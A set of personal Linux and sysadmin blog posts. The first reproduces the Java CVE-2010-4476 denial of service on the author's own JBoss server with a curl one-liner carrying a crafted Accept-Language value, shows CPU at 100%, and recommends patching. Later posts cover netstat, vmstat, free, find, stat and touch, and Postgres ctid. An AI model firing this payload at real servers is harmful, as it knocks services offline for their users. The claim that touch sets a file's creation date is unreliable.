DoS vulnerability in all java servers that was just published in CVE-2010-4476

Oracle has given a fix for this here

Tested this bug on my jboss server and watched the increasing cpu utilization. Excited about this as I've started looking vmstat and top command outputs after yesterday's learnings about them which reports these performance details.

Here is the initial "vmstat 2" output when plain jboss process is running. You can see the 'us' column doesn't go beyond 6. 'us' columns is nothing but the time spent running non-kernel code which reflects to cpu utilization.

[prakash@cu255 CTF5.4.1]$ vmstat 2
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
1 0 68444 168692 243820 747388 0 1 4 36 19 4 1 1 99 0 0
0 0 68444 168692 243820 747388 0 0 0 0 1113 561 0 0 100 0 0
1 0 68444 168692 243820 747388 0 0 0 0 1107 559 0 0 100 0 0
1 0 68444 162988 243820 747388 0 0 0 68 1115 528 33 2 65 0 0
0 0 68444 162988 243820 747388 0 0 0 0 1112 567 0 1 99 0 0
0 0 68444 162864 243820 747392 0 0 0 92 1117 563 0 0 99 0 0
0 0 68444 162864 243820 747392 0 0 0 98 1125 553 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 0 1115 575 0 1 98 0 0
0 0 68444 162864 243820 747392 0 0 0 60 1108 552 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 0 1120 575 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 60 1107 551 0 1 99 0 0
1 0 68444 162864 243820 747392 0 0 0 14 1120 570 0 0 100 0 0
1 0 68444 162864 243820 747392 0 0 0 0 1112 558 0 0 99 0 0
0 0 68444 162864 243824 747392 0 0 0 76 1109 561 0 1 99 0 0
0 0 68444 162864 243824 747392 0 0 0 0 1116 580 0 0 100 0 0
0 0 68444 162864 243824 747392 0 0 0 68 1113 562 0 0 100 0 0
0 0 68444 162864 243824 747392 0 0 0 6 1122 582 0 1 99 0 0
0 0 68444 162864 243824 747392 0 0 0 0 1102 541 0 0 100 0 0
1 0 68444 162484 243824 747392 0 0 0 86 1120 725 2 2 96 0 0
0 0 68444 162484 243824 747392 0 0 0 0 1108 570 0 0 100 0 0
0 0 68444 162484 243824 747392 0 0 0 72 1109 562 0 0 100 0 0
0 0 68444 162484 243824 747392 0 0 0 0 1120 576 0 1 99 0 0
0 0 68444 162484 243824 747428 0 0 0 16 1107 555 0 0 100 0 0
0 0 68444 161864 243824 747432 0 0 0 510 1187 657 6 5 89 0 0


Now I issue the DoS vulnerability command in another terminal using curl.

curl -H "Accept-Language: en-us;q=2.2250738585072012e-308" http://${HTTP_HOST}/requested_page

Here you can see, how much the 'us' column increased, it utilized to 100%. This makes my cpu % worst.

procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
2 0 68444 161740 243856 747508 0 0 0 80 1108 592 99 1 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1102 579 98 2 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1108 569 99 1 0 0 0
1 0 68444 161740 243856 747508 0 0 0 60 1103 571 98 2 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1108 571 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 94 1107 595 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 48 1085 544 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 8 1111 639 99 1 0 0 0
1 0 68444 161740 243856 747516 0 0 0 92 1102 541 99 1 0 0 0
1 0 68444 161740 243856 747516 0 0 0 0 1114 577 99 1 0 0 0
1 0 68444 161740 243856 747520 0 0 0 36 1116 596 98 2 0 0 0
1 0 68444 161740 243860 747528 0 0 0 124 1106 578 99 1 0 0 0
1 0 68444 161740 243860 747528 0 0 0 0 1107 585 98 2 0 0 0
1 0 68444 161740 243860 747528 0 0 0 72 1100 569 99 1 0 0 0
2 0 68444 161740 243860 747528 0 0 0 0 1112 591 99 1 0 0 0
1 0 68444 161740 243860 747528 0 0 0 0 1101 576 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 86 1119 575 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1102 561 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 82 1109 578 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1108 574 98 2 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1099 589 100 0 0 0 0


Also the top command:

top - 11:58:41 up 17 days, 15 min, 4 users, load average: 1.05, 1.09, 1.00
Tasks: 123 total, 3 running, 119 sleeping, 0 stopped, 1 zombie
Cpu(s): 98.7%us, 1.0%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.3%si, 0.0%st
Mem: 2059588k total, 1936104k used, 123484k free, 244512k buffers
Swap: 2096472k total, 68432k used, 2028040k free, 760124k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
28975 prakash 21 0 1428m 528m 16m S 99.9 26.3 20:59.60 /usr/java/jdk1.6.0_18//bin/java -Xms1024m -Xmx1024m -XX:MaxPermSize=256m -server -XX:+HeapDumpOn
29768 prakash 21 0 506m 77m 9100 S 0.3 3.8 0:03.08 /usr/java/jdk1.6.0_18//bin/java -Xms1024m -Xmx1024m -XX:MaxPermSize=256m -server -XX:+HeapDumpOn
10063 prakash 15 0 123m 2812 1648 S 0.0 0.1 0:00.20 /usr/sbin/httpd

You can see the %CPU of my jboss server box went up to 99.9%. So, it's good to have this patch in the jre versions which the server use.

Netstat analysis for outgoing/incoming connections

netstat supports a set of options to display active or passive sockets. The options –t, –u, –w, and –x show active TCP, UDP, RAW, or Unix socket connections. If you provide the –a flag in addition, sockets that are waiting for a connection (i.e., listening) are displayed as well. This display will give you a list of all servers that are currently running on your system.

Invoking netstat -ta on vlager produces this output:

$ netstat -ta (you can also use -n option to avoid the dns lookup for displaying domain names, which will save performace).

Active Internet Connections
Proto Recv-Q Send-Q Local Address Foreign Address (State)
tcp 0 0 *:domain *:* LISTEN
tcp 0 0 *:time *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 vlager:smtp vstout:1040 ESTABLISHED
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 localhost:1046 vbardolino:telnet ESTABLISHED
tcp 0 0 *:chargen *:* LISTEN
tcp 0 0 *:daytime *:* LISTEN
tcp 0 0 *:discard *:* LISTEN
tcp 0 0 *:echo *:* LISTEN
tcp 0 0 *:shell *:* LISTEN
tcp 0 0 *:login *:* LISTEN

This output shows most servers simply waiting for an incoming connection. However, the fourth line shows an incoming SMTP connection from vstout, and the sixth line tells you there is an outgoing telnet connection to vbardolino.[1]

Using the –a flag by itself will display all sockets from all families.

Notes
[1]

You can tell whether a connection is outgoing from the port numbers. The port number shown for the calling host will always be a simple integer. On the host being called, a well-known service port will be in use for which netstat uses the symbolic name such as smtp, found in /etc/services.

Using vmstat for virtutal memory analyze

vmstat, as its name suggests, reports virtual memory statistics. It shows how much virtual memory there is, how much is free and paging activity. Most important, you can observe page-ins and page-outs as they happen. This is extremely useful.

To monitor the virtual memory activity on your system, it's best to use vmstat with a delay. A delay is the number of seconds between updates. If you don't supply a delay, vmstat reports the averages since the last boot and quit. Five seconds is the recommended delay interval.

To run vmstat with a five-second delay, type:

vmstat 5

You also can specify a count, which indicates how many updates you want to see before vmstat quits. If you don't specify a count, the count defaults to infinity, but you can stop output with Ctrl-C.

To run vmstat with ten updates, five seconds apart, type:

vmstat 5 10

Here's an example of a system free of paging activity:

procs memory swap io system cpu
r b w swpd free buff cache si so bi bo in cs us sy id
0 0 0 29232 116972 4524 244900 0 0 0 0 0 0 0 0 0
0 0 0 29232 116972 4524 244900 0 0 0 0 2560 6 0 1 99
0 0 0 29232 116972 4524 244900 0 0 0 0 2574 10 0 2 98

All fields are explained in the vmstat man page, but the most important columns for this article are free, si and so. The free column shows the amount of free memory, si shows page-ins and so shows page-outs. In this example, the so column is zero consistently, indicating there are no page-outs.

The abbreviations so and si are used instead of the more accurate po and pi for historical reasons.

Here's an example of a system with paging activity:

procs memory swap io system --- cpu ---
r b w swpd free buff cache si so bi bo in cs us sy id
. . .
1 0 0 13344 1444 1308 19692 0 168 129 42 1505 713 20 11 69
1 0 0 13856 1640 1308 18524 64 516 379 129 4341 646 24 34 42
3 0 0 13856 1084 1308 18316 56 64 14 0 320 1022 84 9 8

Notice the nonzero so values indicating there is not enough physical memory and the kernel is paging out. You can use top and ps to identify the processes that are using the most memory.

You also can use top to show memory and swap statistics. Here is an example of the uppermost portion of a typical top report:

14:23:19 up 348 days, 3:02, 1 user, load average: 0.00, 0.00, 0.00
55 processes: 54 sleeping, 1 running, 0 zombie, 0 stopped
CPU states: 0.0% user, 2.4% system, 0.0% nice, 97.6% idle
Mem: 481076K total, 367508K used, 113568K free, 4712K buffers
Swap: 1004052K total, 29852K used, 974200K free, 244396K cached

Linux Free Command (Analysing RAM utilization)

I was reading these and thought sharing them will be a useful.

The linux free command allows us to check free/used memory on the system The output below is the result of running free -m on my system (-m means output is in MB):

total used free shared buffers cached
Mem: 3856 1121 2735 0 17 180
-/+ buffers/cache: 923 2933
Swap: 2533 1044 1489

[edit]
Output explained

The first line starting with Mem: gives us the following information:

* total - is the total avaialble RAM (== Physical Memory) after subtracting the amount used by the kernel! In my case I have 4GB RAM and the total displays less than this.
* used - is the part of the RAM that currently has information in it that can be of use to the system (remember: unused RAM is useless, try to maximise this value)
* free - is just total-used
* shared - is the amount of memory shared between processes
* buffers and cached - the cached data and buffers for IO

The second line starting with -/+ buffers/cache: tells us how much of the memory in the buffers/cache is used by the applications and how much is free. Keep in mind that in general the cache is filled with disk IO cached data. The cache can be very easily reclaimed by the OS for applications. Let BUFFERS + CACHED from first line be value X.

X subtracted from the USED memory from the first line gives how much RAM is used by applications (USED value on second line)

X added to the FREE memory on the first line gives how much RAM applications can still request from the OS.

While the first line handles the values of currently used RAM, including applications and caches (but excluding kernel), the second line gives info on application related memory: how much is currently in use and how much is there still available for the applications.

You can find more info here

Using Find output and making a grep on it

Some times, we may be in situation to find the list of files in a recursive directory and search for a specific contents in it.

Below is the command which does that. In below command I'm trying to find commons-beanutils.jar recursive in a directory and a grep command on the listed files to actually find do the jar files has class file 'BeanUtilsBean.class in it.

find . -name *beanutils*.jar -exec grep 'BeanUtilsBean.class' '{}' \;

How to view and change the timestamp of a file say creation date

'stat' command will give the last-accessed/last-modified/file-created date with timestamps in it.

[prakashc@cu120 jbossweb-tomcat50.sar]$ stat commons-beanutils-1.8.0.jar
File: `commons-beanutils-1.8.0.jar'
Size: 231320 Blocks: 464 IO Block: 4096 regular file
Device: 303h/771d Inode: 6547316 Links: 1
Access: (0700/-rwx------) Uid: ( 7069/prakashc) Gid: ( 4001/__cubitu)
Access: 2011-02-09 07:01:55.000000000 +0530
Modify: 2011-02-09 05:50:40.000000000 +0530
Change: 2011-02-09 06:12:08.000000000 +0530

using 'touch' command you can modify the date created

touch commons-beanutils-1.8.0.jar -t [[CC]YY]MMDDhhmm [.SS]

MM - The month of the year [01-12].
DD - The day of the month [01-31].
hh - The hour of the day [00-23].
mm - The minute of the hour [00-59].
CC - The first two digits of the year.
YY - The second two digits of the year.
SS - The second of the minute [00-61].

Remove duplicate rows from postgress using ctid

Today, I was in a situation to delete the duplicate row entries in a table which has all the column values similar including the unique constraints too.

I'm not sure how the table accepted the unique constraints of same value, it's been an large dataset and I guess some could've gone wrong on migration or some thing else.

While trying to reindex the table it failed stating

>>

reindexdb: reindexing of database "testdb" failed: ERROR: could not create unique index "folder_pk"

DETAIL: Table contains duplicated values.

<<


After trying to remove the duplicate values, I found all the columns values are similar including the primary keys,

So finally got an idea from one forum, which suggests to use the "ctid" of the rows to delete that.

It looks, for the table rows, internally there is ctid and you can view it using

select ctid, id from table;

Then, remove the specific rows which you need using the ctid.